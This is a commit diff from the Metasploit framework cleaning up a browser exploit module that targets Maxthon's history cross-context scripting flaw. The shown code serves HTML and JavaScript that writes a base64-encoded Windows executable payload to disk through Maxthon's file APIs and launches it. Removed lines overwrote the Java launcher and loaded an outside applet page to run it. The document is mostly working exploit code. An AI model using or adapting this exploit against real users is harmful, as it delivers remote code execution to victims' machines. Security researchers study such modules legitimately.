Skip to content

Commit b0be8dc

Browse files
author
jvazquez-r7
committed
history exploit cleanup
1 parent 38f2348 commit b0be8dc

File tree

1 file changed

+10
-39
lines changed

1 file changed

+10
-39
lines changed

modules/exploits/windows/browser/maxthon_history_xcs.rb

Lines changed: 10 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
1212
Rank = ExcellentRanking
1313

1414
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::EXE
1516

1617
def initialize(info = {})
1718
super(update_info(info,
@@ -42,22 +43,10 @@ def initialize(info = {})
4243
'DisclosureDate' => 'Nov 26 2012',
4344
'DefaultTarget' => 0
4445
))
45-
46-
register_options(
47-
[
48-
OptString.new('JPATH', [true, "Java executable path to overwrite", 'C:\\\\Program\\ Files\\\\Java\\\\jre7\\\\bin\\\\jp2launcher.exe']),
49-
OptString.new('JAVAURL', [true, "Java Applet URL", 'http://profs.etsmtl.ca/mmcguffin/learn/java/01-drawingLines/']),
50-
], self.class
51-
52-
)
5346
end
5447

5548
def on_request_uri(cli, request)
5649

57-
jpath = datastore['JPATH']
58-
javaurl = datastore['JAVAURL']
59-
60-
headers = {}
6150
html_hdr = %Q^
6251
<html>
6352
<head>
@@ -79,43 +68,27 @@ def on_request_uri(cli, request)
7968
end
8069
# We're going to run this through unescape(), so make sure
8170
# everything is encoded
82-
penc = Msf::Util::EXE.to_win32pe(framework, p.encoded)
71+
penc = generate_payload_exe
8372
penc2 = Rex::Text.encode_base64(penc)
8473

85-
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon
86-
# depending on maxthon version, then file can be launched via Program DOM API
87-
# or replacing Java program
88-
# here we need to take a dirty approach, we need to overwrite an existing exe and then invoke it
89-
# this is because the maxthon.program object has been silently removed in latest Maxthon versions...
90-
# in WindowsXP, any exe can be overwritten, then a simple call to a uri scheme can invoke the exe
91-
# e.g. wab.exe invoked via mailto://
92-
# however, in win7, a prompt will be displayed if browser executes a mail client or an external program
93-
# so a common way to exploit would be to overwrite the j2plauncher.exe, which calls java.exe when applet is found
94-
# once that is done, then we can point to a page where a java applet exists which will invoke java.exe,
95-
# unless previously loaded by the user
74+
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
75+
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
76+
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
9677
content =
9778
%Q{
79+
if(maxthon.program)
80+
{
81+
alert(1);
9882
var fileTemp = new maxthon.io.File.createTempFile("test","exe");
9983
var fileObj = maxthon.io.File(fileTemp);
10084
maxthon.io.FileWriter(fileTemp);
101-
102-
if(maxthon.program)
103-
{
10485
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
10586
maxthon.program.Program.launch(fileTemp.name_,"C:");
10687
}
107-
10888
else
10989
{
110-
fileTemp.name_ = "#{jpath}";
111-
maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{penc2}");
112-
113-
a=document.createElement("iframe");
114-
a.setAttribute("src","#{javaurl}");
115-
document.body.appendChild(a)
116-
90+
alert(2);
11791
}
118-
11992
}
12093

12194
when /\?history/
@@ -124,7 +97,6 @@ def on_request_uri(cli, request)
12497
location.href = "about:history";
12598
}
12699
|
127-
128100
content = %Q|
129101
#{html_hdr}
130102
<script>
@@ -157,8 +129,7 @@ def on_request_uri(cli, request)
157129
return
158130
end
159131

160-
send_response_html(cli, content, headers)
161-
handler(cli)
132+
send_response_html(cli, content)
162133
end
163134

164135
end

0 commit comments

Comments
 (0)